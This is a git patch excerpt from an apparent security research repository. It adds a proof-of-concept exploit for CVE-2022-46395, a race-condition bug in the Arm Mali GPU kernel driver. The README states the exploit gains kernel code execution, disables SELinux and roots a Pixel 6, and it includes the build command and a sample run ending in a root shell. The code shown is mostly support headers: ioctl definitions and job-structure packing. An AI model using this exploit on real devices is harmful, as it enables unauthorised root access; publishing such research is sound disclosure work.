b/SecurityExploits/Android/Mali/GHSL-2023-005/midgard.h @@ -0,0 +1,260 @@ +#ifndef MIDGARD_H +#define MIDGARD_H + +//Generated using pandecode-standalone: https://gitlab.freedesktop.org/panfrost/pandecode-standalone + +#include +#include +#include +#include +#include +#include +#include + +#define pan_section_ptr(base, A, S) \ + ((void *)((uint8_t *)(base) + MALI_ ## A ## _SECTION_ ## S ## _OFFSET)) + +#define pan_section_pack(dst, A, S, name) \ + for (MALI_ ## A ## _SECTION_ ## S ## _TYPE name = { MALI_ ## A ## _SECTION_ ## S ## _header }, \ + *_loop_terminate = (void *) (dst); \ + __builtin_expect(_loop_terminate != NULL, 1); \ + ({ MALI_ ## A ## _SECTION_ ## S ## _pack(pan_section_ptr(dst, A, S), &name); \ + _loop_terminate = NULL; })) + + +static inline uint64_t +__gen_uint(uint64_t v, uint32_t start, uint32_t end) +{ +#ifndef NDEBUG + const int width = end - start + 1; + if (width < 64) { + const uint64_t max = (1ull << width) - 1; + assert(v <= max); + } +#endif + + return v << start; +} + +static inline uint64_t +__gen_unpack_uint(const uint8_t *restrict cl, uint32_t start, uint32_t end) +{ + uint64_t val = 0; + const int width = end - start + 1; + const uint64_t mask = (width == 64 ? ~0 : (1ull << width) - 1 ); + + for (int byte = start / 8; byte <= end / 8; byte++) { + val |= ((uint64_t) cl[byte]) << ((byte - start / 8) * 8); + } + + return (val >> (start % 8)) & mask; +} + +enum mali_job_type { + MALI_JOB_TYPE_NOT_STARTED = 0, + MALI_JOB_TYPE_NULL = 1, + MALI_JOB_TYPE_WRITE_VALUE = 2, + MALI_JOB_TYPE_CACHE_FLUSH = 3, + MALI_JOB_TYPE_COMPUTE = 4, + MALI_JOB_TYPE_VERTEX = 5, + MALI_JOB_TYPE_GEOMETRY = 6, + MALI_JOB_TYPE_TILER = 7, + MALI_JOB_TYPE_FUSED = 8, + MALI_JOB_TYPE_FRAGMENT = 9, +}; + +enum mali_write_value_type { + MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER = 1, + MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP = 2, + MALI_WRITE_VALUE_TYPE_ZERO = 3, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_8 = 4, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_16 = 5, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_32 = 6, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_64 = 7, +}; + + +struct MALI_WRITE_VALUE_JOB_PAYLOAD { + uint64_t address; + enum mali_write_value_type type; + uint64_t immediate_value; +}; + +struct MALI_JOB_HEADER { + uint32_t exception_status; + uint32_t first_incomplete_task; + uint64_t fault_pointer; + bool is_64b; + enum mali_job_type type; + bool barrier; + bool invalidate_cache; + bool suppress_prefetch; + bool enable_texture_mapper; + bool relax_dependency_1; + bool relax_dependency_2; + uint32_t index; + uint32_t dependency_1; + uint32_t dependency_2; + uint64_t next; +}; + + +static inline void +MALI_JOB_HEADER_pack(uint32_t * restrict cl, + const struct MALI_JOB_HEADER * restrict values) +{ + cl[ 0] = __gen_uint(values->exception_status, 0, 31); + cl[ 1] = __gen_uint(values->first_incomplete_task, 0, 31); + cl[ 2] = __gen_uint(values->fault_pointer, 0, 63); + cl[ 3] = __gen_uint(values->fault_pointer, 0, 63) >> 32; + cl[ 4] = __gen_uint(values->is_64b, 0, 0) | + __gen_uint(values->type, 1, 7) | + __gen_uint(values->barrier, 8, 8) | + __gen_uint(values->invalidate_cache, 9, 9) | + __gen_uint(values->suppress_prefetch, 11, 11) | + __gen_uint(values->enable_texture_mapper, 12, 12) | + __gen_uint(values->relax_dependency_1, 14, 14) | + __gen_uint(values->relax_dependency_2, 15, 15) | + __gen_uint(values->index, 16, 31); + cl[ 5] = __gen_uint(values->dependency_1, 0, 15) | + __gen_uint(values->dependency_2, 16, 31); + cl[ 6] = __gen_uint(values->next, 0, 63); + cl[ 7] = __gen_uint(values->next, 0, 63) >> 32; +} + + +#define MALI_JOB_HEADER_LENGTH 32 +struct mali_job_header_packed { uint32_t opaque[8]; }; +static inline void +MALI_JOB_HEADER_unpack(const uint8_t * restrict cl, + struct MALI_JOB_HEADER * restrict values) +{ + if (((const uint32_t *) cl)[4] & 0x2400) fprintf(stderr, "XXX: Invalid field unpacked at word 4\n"); + values->exception_status = __gen_unpack_uint(cl, 0, 31); + values->first_incomplete_task = __gen_unpack_uint(cl, 32, 63); + values->fault_pointer = __gen_unpack_uint(cl, 64, 127); + values->is_64b = __gen_unpack_uint(cl, 128, 128); + values->type = __gen_unpack_uint(cl, 129, 135); + values->barrier = __gen_unpack_uint(cl, 136, 136); + values->invalidate_cache = __gen_unpack_uint(cl, 137, 137); + values->suppress_prefetch = __gen_unpack_uint(cl, 139, 139); + values->enable_texture_mapper = __gen_unpack_uint(cl, 140, 140); + values->relax_dependency_1 = __gen_unpack_uint(cl, 142, 142); + values->relax_dependency_2 = __gen_unpack_uint(cl, 143, 143); + values->index = __gen_unpack_uint(cl, 144, 159); + values->dependency_1 = __gen_unpack_uint(cl, 160, 175); + values->dependency_2 = __gen_unpack_uint(cl, 176, 191); + values->next = __gen_unpack_uint(cl, 192, 255); +} + +static inline const char * +mali_job_type_as_str(enum mali_job_type imm) +{ + switch (imm) { + case MALI_JOB_TYPE_NOT_STARTED: return "Not started"; + case MALI_JOB_TYPE_NULL: return "Null"; + case MALI_JOB_TYPE_WRITE_VALUE: return "Write value"; + case MALI_JOB_TYPE_CACHE_FLUSH: return "Cache flush"; + case MALI_JOB_TYPE_COMPUTE: return "Compute"; + case MALI_JOB_TYPE_VERTEX: return "Vertex"; + case MALI_JOB_TYPE_GEOMETRY: return "Geometry"; + case MALI_JOB_TYPE_TILER: return "Tiler"; + case MALI_JOB_TYPE_FUSED: return "Fused"; + case MALI_JOB_TYPE_FRAGMENT: return "Fragment"; + default: return "XXX: INVALID"; + } +} + +static inline void +MALI_JOB_HEADER_print(FILE *fp, const struct MALI_JOB_HEADER * values, unsigned indent) +{ + fprintf(fp, "%*sException Status: %u\n", indent, "", values->exception_status); + fprintf(fp, "%*sFirst Incomplete Task: %u\n", indent, "", values->first_incomplete_task); + fprintf(fp, "%*sFault Pointer: 0x%" PRIx64 "\n", indent, "", values->fault_pointer); + fprintf(fp, "%*sIs 64b: %s\n", indent, "", values->is_64b ? "true" : "false"); + fprintf(fp, "%*sType: %s\n", indent, "", mali_job_type_as_str(values->type)); + fprintf(fp, "%*sBarrier: %s\n", indent, "", values->barrier ? "true" : "false"); + fprintf(fp, "%*sInvalidate Cache: %s\n", indent, "", values->invalidate_cache ? "true" : "false"); + fprintf(fp, "%*sSuppress Prefetch: %s\n", indent, "", values->suppress_prefetch ? "true" : "false"); + fprintf(fp, "%*sEnable Texture Mapper: %s\n", indent, "", values->enable_texture_mapper ? "true" : "false"); + fprintf(fp, "%*sRelax Dependency 1: %s\n", indent, "", values->relax_dependency_1 ? "true" : "false"); + fprintf(fp, "%*sRelax Dependency 2: %s\n", indent, "", values->relax_dependency_2 ? "true" : "false"); + fprintf(fp, "%*sIndex: %u\n", indent, "", values->index); + fprintf(fp, "%*sDependency 1: %u\n", indent, "", values->dependency_1); + fprintf(fp, "%*sDependency 2: %u\n", indent, "", values->dependency_2); + fprintf(fp, "%*sNext: 0x%" PRIx64 "\n", indent, "", values->next); +} + +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_pack(uint32_t * restrict cl, + const struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values) +{ + cl[ 0] = __gen_uint(values->address, 0, 63); + cl[ 1] = __gen_uint(values->address, 0, 63) >> 32; + cl[ 2] = __gen_uint(values->type, 0, 31); + cl[ 3] = 0; + cl[ 4] = __gen_uint(values->immediate_value, 0, 63); + cl[ 5] = __gen_uint(values->immediate_value, 0, 63) >> 32; +} + + +#define MALI_WRITE_VALUE_JOB_PAYLOAD_LENGTH 24 +#define MALI_WRITE_VALUE_JOB_PAYLOAD_header 0 + + +struct mali_write_value_job_payload_packed { uint32_t opaque[6]; }; +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_unpack(const uint8_t * restrict cl, + struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values) +{ + if (((const uint32_t *) cl)[3] & 0xffffffff) fprintf(stderr, "XXX: Invalid field unpacked at word 3\n"); + values->address = __gen_unpack_uint(cl, 0, 63); + values->type = __gen_unpack_uint(cl, 64, 95); + values->immediate_value = __gen_unpack_uint(cl, 128, 191); +} + +static inline const char * +mali_write_value_type_as_str(enum mali_write_value_type imm) +{ + switch (imm) { + case MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER: return "Cycle Counter"; + case MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP: return "System Timestamp"; + case MALI_WRITE_VALUE_TYPE_ZERO: return "Zero"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_8: return "Immediate 8"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_16: return "Immediate 16"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_32: return "Immediate 32"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_64: return "Immediate 64"; + default: return "XXX: INVALID"; + } +} + +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_print(FILE *fp, const struct MALI_WRITE_VALUE_JOB_PAYLOAD * values, unsigned indent) +{ + fprintf(fp, "%*sAddress: 0x%" PRIx64 "\n", indent, "", values->address); + fprintf(fp, "%*sType: %s\n", indent, "", mali_write_value_type_as_str(values->type)); + fprintf(fp, "%*sImmediate Value: 0x%" PRIx64 "\n", indent, "", values->immediate_value); +} + +struct mali_write_value_job_packed { + uint32_t opaque[14]; +}; + +#define MALI_JOB_HEADER_header \ + .is_64b = true + +#define MALI_WRITE_VALUE_JOB_LENGTH 56 +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_TYPE struct MALI_JOB_HEADER +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_header MALI_JOB_HEADER_header +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_pack MALI_JOB_HEADER_pack +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_unpack MALI_JOB_HEADER_unpack +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_print MALI_JOB_HEADER_print +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_OFFSET 0 +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_TYPE struct MALI_WRITE_VALUE_JOB_PAYLOAD +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_header MALI_WRITE_VALUE_JOB_PAYLOAD_header +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_pack MALI_WRITE_VALUE_JOB_PAYLOAD_pack +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_unpack MALI_WRITE_VALUE_JOB_PAYLOAD_unpack +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_print MALI_WRITE_VALUE_JOB_PAYLOAD_print +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_OFFSET 32 + +#endif From 2c1e4be2af5336fd6d90658feff3c2fd855e8353 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Fri, 24 Feb 2023 15:14:18 +0000 Subject: [PATCH 096/140] Initial commit --- .../Android/Mali/CVE_2022_46395/README.md | 54 + .../Android/Mali/CVE_2022_46395/log_utils.h | 11 + .../Android/Mali/CVE_2022_46395/mali.h | 1060 ++++++++++++++ .../Mali/CVE_2022_46395/mali_base_jm_kernel.h | 1220 +++++++++++++++++ .../Mali/CVE_2022_46395/mali_user_buf.c | 670 +++++++++ .../Android/Mali/CVE_2022_46395/mem_write.c | 160 +++ .../Android/Mali/CVE_2022_46395/mem_write.h | 27 + .../Mali/CVE_2022_46395/mempool_utils.c | 61 + .../Mali/CVE_2022_46395/mempool_utils.h | 19 + .../Android/Mali/CVE_2022_46395/midgard.h | 260 ++++ 10 files changed, 3542 insertions(+) create mode 100644 SecurityExploits/Android/Mali/CVE_2022_46395/README.md create mode 100644 SecurityExploits/Android/Mali/CVE_2022_46395/log_utils.h create mode 100644 SecurityExploits/Android/Mali/CVE_2022_46395/mali.h create mode 100644 SecurityExploits/Android/Mali/CVE_2022_46395/mali_base_jm_kernel.h create mode 100644 SecurityExploits/Android/Mali/CVE_2022_46395/mali_user_buf.c create mode 100644 SecurityExploits/Android/Mali/CVE_2022_46395/mem_write.c create mode 100644 SecurityExploits/Android/Mali/CVE_2022_46395/mem_write.h create mode 100644 SecurityExploits/Android/Mali/CVE_2022_46395/mempool_utils.c create mode 100644 SecurityExploits/Android/Mali/CVE_2022_46395/mempool_utils.h create mode 100644 SecurityExploits/Android/Mali/CVE_2022_46395/midgard.h diff --git a/SecurityExploits/Android/Mali/CVE_2022_46395/README.md b/SecurityExploits/Android/Mali/CVE_2022_46395/README.md new file mode 100644 index 0000000..6cafc1a --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_46395/README.md @@ -0,0 +1,54 @@ +## Exploit for CVE-2022-46395 + +The write up can be found [here](). This is a bug in the Arm Mali kernel driver that I reported in November 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. + +The exploit is tested on the Google Pixel 6 with the Novmember 2022 and January 2023 patch. For reference, I used the following command to compile with clang in ndk-21: + +``` +android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o mali_user_buf +``` + +The exploit should be run a couple of minutes after boot and is likely to have to run for a few minutes to succeed. It is not uncommon to fail the race conditions hundreds of times, although failing the race condition does not have any ill effect and the exploit as a whole rare crashes. If successful, it should disable SELinux and gain root. + +``` +oriole:/ $ /data/local/tmp/mali_user_buf +fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys +benchmark_time 357 +failed after 100 +failed after 200 +failed after 300 +benchmark_time 343 +failed after 400 +failed after 500 +failed after 600 +benchmark_time 337 +failed after 700 +failed after 800 +failed after 900 +benchmark_time 334 +failed after 1000 +failed after 1100 +failed after 1200 +benchmark_time 363 +failed after 1300 +finished reset: 190027720 fault: 135735849 772 err 0 read 3 +found pgd at page 4 +overwrite addr : 76f6100710 710 +overwrite addr : 76f5f00710 710 +overwrite addr : 76f6100710 710 +overwrite addr : 76f5f00710 710 +overwrite addr : 76f5d00710 710 +overwrite addr : 76f5b00710 710 +overwrite addr : 76f5d00710 710 +overwrite addr : 76f5b00710 710 +overwrite addr : 76f6100fd4 fd4 +overwrite addr : 76f5f00fd4 fd4 +overwrite addr : 76f6100fd4 fd4 +overwrite addr : 76f5f00fd4 fd4 +overwrite addr : 76f5d00fd4 fd4 +overwrite addr : 76f5b00fd4 fd4 +overwrite addr : 76f5d00fd4 fd4 +overwrite addr : 76f5b00fd4 fd4 +result 50 +oriole:/ # +``` diff --git a/SecurityExploits/Android/Mali/CVE_2022_46395/log_utils.h b/SecurityExploits/Android/Mali/CVE_2022_46395/log_utils.h new file mode 100644 index 0000000..0a4172c --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_46395/log_utils.h @@ -0,0 +1,11 @@ +#ifndef LOG_UTILS_H +#define LOG_UTILS_H + +#ifdef SHELL +#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__) +#else +#include +#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__) +#endif + +#endif diff --git a/SecurityExploits/Android/Mali/CVE_2022_46395/mali.h b/SecurityExploits/Android/Mali/CVE_2022_46395/mali.h new file mode 100644 index 0000000..3b61e20 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_46395/mali.h @@ -0,0 +1,1060 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2020-2021 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_KBASE_JM_IOCTL_H_ +#define _UAPI_KBASE_JM_IOCTL_H_ + +#include +#include + +/* + * 11.1: + * - Add BASE_MEM_TILER_ALIGN_TOP under base_mem_alloc_flags + * 11.2: + * - KBASE_MEM_QUERY_FLAGS can return KBASE_REG_PF_GROW and KBASE_REG_PROTECTED, + * which some user-side clients prior to 11.2 might fault if they received + * them + * 11.3: + * - New ioctls KBASE_IOCTL_STICKY_RESOURCE_MAP and + * KBASE_IOCTL_STICKY_RESOURCE_UNMAP + * 11.4: + * - New ioctl KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET + * 11.5: + * - New ioctl: KBASE_IOCTL_MEM_JIT_INIT (old ioctl renamed to _OLD) + * 11.6: + * - Added flags field to base_jit_alloc_info structure, which can be used to + * specify pseudo chunked tiler alignment for JIT allocations. + * 11.7: + * - Removed UMP support + * 11.8: + * - Added BASE_MEM_UNCACHED_GPU under base_mem_alloc_flags + * 11.9: + * - Added BASE_MEM_PERMANENT_KERNEL_MAPPING and BASE_MEM_FLAGS_KERNEL_ONLY + * under base_mem_alloc_flags + * 11.10: + * - Enabled the use of nr_extres field of base_jd_atom_v2 structure for + * JIT_ALLOC and JIT_FREE type softjobs to enable multiple JIT allocations + * with one softjob. + * 11.11: + * - Added BASE_MEM_GPU_VA_SAME_4GB_PAGE under base_mem_alloc_flags + * 11.12: + * - Removed ioctl: KBASE_IOCTL_GET_PROFILING_CONTROLS + * 11.13: + * - New ioctl: KBASE_IOCTL_MEM_EXEC_INIT + * 11.14: + * - Add BASE_MEM_GROUP_ID_MASK, base_mem_group_id_get, base_mem_group_id_set + * under base_mem_alloc_flags + * 11.15: + * - Added BASEP_CONTEXT_MMU_GROUP_ID_MASK under base_context_create_flags. + * - Require KBASE_IOCTL_SET_FLAGS before BASE_MEM_MAP_TRACKING_HANDLE can be + * passed to mmap(). + * 11.16: + * - Extended ioctl KBASE_IOCTL_MEM_SYNC to accept imported dma-buf. + * - Modified (backwards compatible) ioctl KBASE_IOCTL_MEM_IMPORT behavior for + * dma-buf. Now, buffers are mapped on GPU when first imported, no longer + * requiring external resource or sticky resource tracking. UNLESS, + * CONFIG_MALI_DMA_BUF_MAP_ON_DEMAND is enabled. + * 11.17: + * - Added BASE_JD_REQ_JOB_SLOT. + * - Reused padding field in base_jd_atom_v2 to pass job slot number. + * - New ioctl: KBASE_IOCTL_GET_CPU_GPU_TIMEINFO + * 11.18: + * - Added BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP under base_mem_alloc_flags + * 11.19: + * - Extended base_jd_atom_v2 to allow a renderpass ID to be specified. + * 11.20: + * - Added new phys_pages member to kbase_ioctl_mem_jit_init for + * KBASE_IOCTL_MEM_JIT_INIT, previous variants of this renamed to use _10_2 + * (replacing '_OLD') and _11_5 suffixes + * - Replaced compat_core_req (deprecated in 10.3) with jit_id[2] in + * base_jd_atom_v2. It must currently be initialized to zero. + * - Added heap_info_gpu_addr to base_jit_alloc_info, and + * BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE allowable in base_jit_alloc_info's + * flags member. Previous variants of this structure are kept and given _10_2 + * and _11_5 suffixes. + * - The above changes are checked for safe values in usual builds + * 11.21: + * - v2.0 of mali_trace debugfs file, which now versions the file separately + * 11.22: + * - Added base_jd_atom (v3), which is seq_nr + base_jd_atom_v2. + * KBASE_IOCTL_JOB_SUBMIT supports both in parallel. + * 11.23: + * - Modified KBASE_IOCTL_MEM_COMMIT behavior to reject requests to modify + * the physical memory backing of JIT allocations. This was not supposed + * to be a valid use case, but it was allowed by the previous implementation. + * 11.24: + * - Added a sysfs file 'serialize_jobs' inside a new sub-directory + * 'scheduling'. + * 11.25: + * - Enabled JIT pressure limit in base/kbase by default + * 11.26 + * - Added kinstr_jm API + * 11.27 + * - Backwards compatible extension to HWC ioctl. + * 11.28: + * - Added kernel side cache ops needed hint + * 11.29: + * - Reserve ioctl 52 + * 11.30: + * - Add a new priority level BASE_JD_PRIO_REALTIME + * - Add ioctl 54: This controls the priority setting. + * 11.31: + * - Added BASE_JD_REQ_LIMITED_CORE_MASK. + * - Added ioctl 55: set_limited_core_count. + */ +#define BASE_UK_VERSION_MAJOR 11 +#define BASE_UK_VERSION_MINOR 31 + +/** + * struct kbase_ioctl_version_check - Check version compatibility between + * kernel and userspace + * + * @major: Major version number + * @minor: Minor version number + */ +struct kbase_ioctl_version_check { + __u16 major; + __u16 minor; +}; + +#define KBASE_IOCTL_VERSION_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check) + + +/** + * struct kbase_ioctl_job_submit - Submit jobs/atoms to the kernel + * + * @addr: Memory address of an array of struct base_jd_atom_v2 or v3 + * @nr_atoms: Number of entries in the array + * @stride: sizeof(struct base_jd_atom_v2) or sizeof(struct base_jd_atom) + */ +struct kbase_ioctl_job_submit { + __u64 addr; + __u32 nr_atoms; + __u32 stride; +}; + +#define KBASE_IOCTL_JOB_SUBMIT \ + _IOW(KBASE_IOCTL_TYPE, 2, struct kbase_ioctl_job_submit) + +#define KBASE_IOCTL_POST_TERM \ + _IO(KBASE_IOCTL_TYPE, 4) + +/** + * struct kbase_ioctl_soft_event_update - Update the status of a soft-event + * @event: GPU address of the event which has been updated + * @new_status: The new status to set + * @flags: Flags for future expansion + */ +struct kbase_ioctl_soft_event_update { + __u64 event; + __u32 new_status; + __u32 flags; +}; + +#define KBASE_IOCTL_SOFT_EVENT_UPDATE \ + _IOW(KBASE_IOCTL_TYPE, 28, struct kbase_ioctl_soft_event_update) + +/** + * struct kbase_kinstr_jm_fd_out - Explains the compatibility information for + * the `struct kbase_kinstr_jm_atom_state_change` structure returned from the + * kernel + * + * @size: The size of the `struct kbase_kinstr_jm_atom_state_change` + * @version: Represents a breaking change in the + * `struct kbase_kinstr_jm_atom_state_change` + * @padding: Explicit padding to get the structure up to 64bits. See + * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst + * + * The `struct kbase_kinstr_jm_atom_state_change` may have extra members at the + * end of the structure that older user space might not understand. If the + * `version` is the same, the structure is still compatible with newer kernels. + * The `size` can be used to cast the opaque memory returned from the kernel. + */ +struct kbase_kinstr_jm_fd_out { + __u16 size; + __u8 version; + __u8 padding[5]; +}; + +/** + * struct kbase_kinstr_jm_fd_in - Options when creating the file descriptor + * + * @count: Number of atom states that can be stored in the kernel circular + * buffer. Must be a power of two + * @padding: Explicit padding to get the structure up to 64bits. See + * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst + */ +struct kbase_kinstr_jm_fd_in { + __u16 count; + __u8 padding[6]; +}; + +union kbase_kinstr_jm_fd { + struct kbase_kinstr_jm_fd_in in; + struct kbase_kinstr_jm_fd_out out; +}; + +#define KBASE_IOCTL_KINSTR_JM_FD \ + _IOWR(KBASE_IOCTL_TYPE, 51, union kbase_kinstr_jm_fd) + + +#define KBASE_IOCTL_VERSION_CHECK_RESERVED \ + _IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check) + +#define KBASE_IOCTL_TYPE 0x80 + +/** + * struct kbase_ioctl_set_flags - Set kernel context creation flags + * + * @create_flags: Flags - see base_context_create_flags + */ +struct kbase_ioctl_set_flags { + __u32 create_flags; +}; + +#define KBASE_IOCTL_SET_FLAGS \ + _IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags) + +/** + * struct kbase_ioctl_get_gpuprops - Read GPU properties from the kernel + * + * @buffer: Pointer to the buffer to store properties into + * @size: Size of the buffer + * @flags: Flags - must be zero for now + * + * The ioctl will return the number of bytes stored into @buffer or an error + * on failure (e.g. @size is too small). If @size is specified as 0 then no + * data will be written but the return value will be the number of bytes needed + * for all the properties. + * + * @flags may be used in the future to request a different format for the + * buffer. With @flags == 0 the following format is used. + * + * The buffer will be filled with pairs of values, a __u32 key identifying the + * property followed by the value. The size of the value is identified using + * the bottom bits of the key. The value then immediately followed the key and + * is tightly packed (there is no padding). All keys and values are + * little-endian. + * + * 00 = __u8 + * 01 = __u16 + * 10 = __u32 + * 11 = __u64 + */ +struct kbase_ioctl_get_gpuprops { + __u64 buffer; + __u32 size; + __u32 flags; +}; + +#define KBASE_IOCTL_GET_GPUPROPS \ + _IOW(KBASE_IOCTL_TYPE, 3, struct kbase_ioctl_get_gpuprops) + +/** + * union kbase_ioctl_mem_alloc - Allocate memory on the GPU + * @in: Input parameters + * @in.va_pages: The number of pages of virtual address space to reserve + * @in.commit_pages: The number of physical pages to allocate + * @in.extension: The number of extra pages to allocate on each GPU fault which grows the region + * @in.flags: Flags + * @out: Output parameters + * @out.flags: Flags + * @out.gpu_va: The GPU virtual address which is allocated + */ +union kbase_ioctl_mem_alloc { + struct { + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u64 flags; + } in; + struct { + __u64 flags; + __u64 gpu_va; + } out; +}; + +#define KBASE_IOCTL_MEM_ALLOC \ + _IOWR(KBASE_IOCTL_TYPE, 5, union kbase_ioctl_mem_alloc) + +/** + * struct kbase_ioctl_mem_query - Query properties of a GPU memory region + * @in: Input parameters + * @in.gpu_addr: A GPU address contained within the region + * @in.query: The type of query + * @out: Output parameters + * @out.value: The result of the query + * + * Use a %KBASE_MEM_QUERY_xxx flag as input for @query. + */ +union kbase_ioctl_mem_query { + struct { + __u64 gpu_addr; + __u64 query; + } in; + struct { + __u64 value; + } out; +}; + +#define KBASE_IOCTL_MEM_QUERY \ + _IOWR(KBASE_IOCTL_TYPE, 6, union kbase_ioctl_mem_query) + +#define KBASE_MEM_QUERY_COMMIT_SIZE ((__u64)1) +#define KBASE_MEM_QUERY_VA_SIZE ((__u64)2) +#define KBASE_MEM_QUERY_FLAGS ((__u64)3) + +/** + * struct kbase_ioctl_mem_free - Free a memory region + * @gpu_addr: Handle to the region to free + */ +struct kbase_ioctl_mem_free { + __u64 gpu_addr; +}; + +#define KBASE_IOCTL_MEM_FREE \ + _IOW(KBASE_IOCTL_TYPE, 7, struct kbase_ioctl_mem_free) + +/** + * struct kbase_ioctl_hwcnt_reader_setup - Setup HWC dumper/reader + * @buffer_count: requested number of dumping buffers + * @fe_bm: counters selection bitmask (Front end) + * @shader_bm: counters selection bitmask (Shader) + * @tiler_bm: counters selection bitmask (Tiler) + * @mmu_l2_bm: counters selection bitmask (MMU_L2) + * + * A fd is returned from the ioctl if successful, or a negative value on error + */ +struct kbase_ioctl_hwcnt_reader_setup { + __u32 buffer_count; + __u32 fe_bm; + __u32 shader_bm; + __u32 tiler_bm; + __u32 mmu_l2_bm; +}; + +#define KBASE_IOCTL_HWCNT_READER_SETUP \ + _IOW(KBASE_IOCTL_TYPE, 8, struct kbase_ioctl_hwcnt_reader_setup) + +/** + * struct kbase_ioctl_hwcnt_enable - Enable hardware counter collection + * @dump_buffer: GPU address to write counters to + * @fe_bm: counters selection bitmask (Front end) + * @shader_bm: counters selection bitmask (Shader) + * @tiler_bm: counters selection bitmask (Tiler) + * @mmu_l2_bm: counters selection bitmask (MMU_L2) + */ +struct kbase_ioctl_hwcnt_enable { + __u64 dump_buffer; + __u32 fe_bm; + __u32 shader_bm; + __u32 tiler_bm; + __u32 mmu_l2_bm; +}; + +#define KBASE_IOCTL_HWCNT_ENABLE \ + _IOW(KBASE_IOCTL_TYPE, 9, struct kbase_ioctl_hwcnt_enable) + +#define KBASE_IOCTL_HWCNT_DUMP \ + _IO(KBASE_IOCTL_TYPE, 10) + +#define KBASE_IOCTL_HWCNT_CLEAR \ + _IO(KBASE_IOCTL_TYPE, 11) + +/** + * struct kbase_ioctl_hwcnt_values - Values to set dummy the dummy counters to. + * @data: Counter samples for the dummy model. + * @size: Size of the counter sample data. + * @padding: Padding. + */ +struct kbase_ioctl_hwcnt_values { + __u64 data; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_HWCNT_SET \ + _IOW(KBASE_IOCTL_TYPE, 32, struct kbase_ioctl_hwcnt_values) + +/** + * struct kbase_ioctl_disjoint_query - Query the disjoint counter + * @counter: A counter of disjoint events in the kernel + */ +struct kbase_ioctl_disjoint_query { + __u32 counter; +}; + +#define KBASE_IOCTL_DISJOINT_QUERY \ + _IOR(KBASE_IOCTL_TYPE, 12, struct kbase_ioctl_disjoint_query) + +/** + * struct kbase_ioctl_get_ddk_version - Query the kernel version + * @version_buffer: Buffer to receive the kernel version string + * @size: Size of the buffer + * @padding: Padding + * + * The ioctl will return the number of bytes written into version_buffer + * (which includes a NULL byte) or a negative error code + * + * The ioctl request code has to be _IOW because the data in ioctl struct is + * being copied to the kernel, even though the kernel then writes out the + * version info to the buffer specified in the ioctl. + */ +struct kbase_ioctl_get_ddk_version { + __u64 version_buffer; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_GET_DDK_VERSION \ + _IOW(KBASE_IOCTL_TYPE, 13, struct kbase_ioctl_get_ddk_version) + +/** + * struct kbase_ioctl_mem_jit_init_10_2 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 10.2--11.4) + * @va_pages: Number of VA pages to reserve for JIT + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_10_2 { + __u64 va_pages; +}; + 